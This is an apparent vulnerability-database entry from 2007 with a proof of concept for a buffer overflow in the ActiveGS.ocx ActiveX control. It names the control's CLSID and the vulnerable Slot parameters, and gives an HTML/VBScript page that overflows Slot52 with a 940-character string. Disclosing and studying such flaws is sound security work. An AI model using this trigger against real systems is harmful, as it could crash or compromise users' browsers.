Second Sight Software ActiveGS.ocx ActiveX Buffer Overflow POC

🗓️ 25 Apr 2007 00:00:00Reported by RootType

Second Sight Software ActiveGS.ocx ActiveX Buffer Overflow POC by Umesh Wanve on Windows 2000 SP4. Vulnerable parameters include Slot51, Slot52, Slot61, Slot62, Slot7, Slot71, Slot72. Educational use only


                                                &lt;!--

&nbsp;&nbsp;===============================================================================================
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Second&nbsp;Sight&nbsp;Software&nbsp;ActiveGS.ocx&nbsp;ActiveX&nbsp;Buffer&nbsp;Overflow&nbsp;POC
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;Umesh&nbsp;Wanve&nbsp;
&nbsp;&nbsp;==============================================================================================&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;Date&nbsp;:&nbsp;24-04-2007
&nbsp;
&nbsp;&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;2000&nbsp;SP4&nbsp;Server&nbsp;English
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Windows&nbsp;2000&nbsp;SP4&nbsp;Professional&nbsp;English
&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;Reference:&nbsp;http://www.securityfocus.com/bid/23554

&nbsp;&nbsp;Vendor:&nbsp;http://www.freetoolsassociation.com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.freetoolsassociation.com/fta/activegs/activegs.cab&nbsp;

&nbsp;
&nbsp;&nbsp;Desc:&nbsp;Many&nbsp;parameters&nbsp;of&nbsp;CLSID&nbsp;052DF14F-6F28-44A0-9130-294FDA6176EB&nbsp;are&nbsp;vulnerable.&nbsp;This&nbsp;activex&nbsp;gives&nbsp;error&nbsp;like,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Buffer&nbsp;Overrun&nbsp;detected.&nbsp;This&nbsp;is&nbsp;complied&nbsp;with&nbsp;/GS&nbsp;flag.&nbsp;The&nbsp;all&nbsp;vulnerable&nbsp;parameters&nbsp;are&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Slot51,Slot52,Slot61,Slot62,Slot7,Slot71,Slot72.

&nbsp;&nbsp;PS.&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.Author&nbsp;will&nbsp;be&nbsp;not&nbsp;be
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.
&nbsp;
&nbsp;&nbsp;Always&nbsp;thanks&nbsp;to&nbsp;Metasploit&nbsp;and&nbsp;Stroke.

--&gt;


&lt;html&gt;

&lt;title&gt;
&nbsp;Second&nbsp;Sight&nbsp;Software&nbsp;ActiveGS.ocx&nbsp;ActiveX&nbsp;Buffer&nbsp;Overflow&nbsp;POC-&nbsp;By&nbsp;Umesh&nbsp;Wanve
&lt;/title&gt;

&lt;body&gt;
&lt;OBJECT&nbsp;id=&quot;target&quot;&nbsp;WIDTH=445&nbsp;HEIGHT=40&nbsp;classid=&quot;clsid:052DF14F-6F28-44A0-9130-294FDA6176EB&quot;&nbsp;&gt;&nbsp;&lt;/OBJECT&gt;

&lt;script&nbsp;language=&quot;vbscript&quot;&gt;
targetFile&nbsp;=&nbsp;&quot;C:\Research\activegs\ActiveGS.ocx&quot;
prototype&nbsp;&nbsp;=&nbsp;&quot;Invoke_Unknown&nbsp;Slot52&nbsp;As&nbsp;String&quot;
memberName&nbsp;=&nbsp;&quot;Slot52&quot;
progid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;ActiveGSLib.ActiveGS&quot;
argCount&nbsp;&nbsp;&nbsp;=&nbsp;1

arg1=String(940,&nbsp;&quot;A&quot;)

target.Slot52&nbsp;=&nbsp;arg1


&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;

25 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1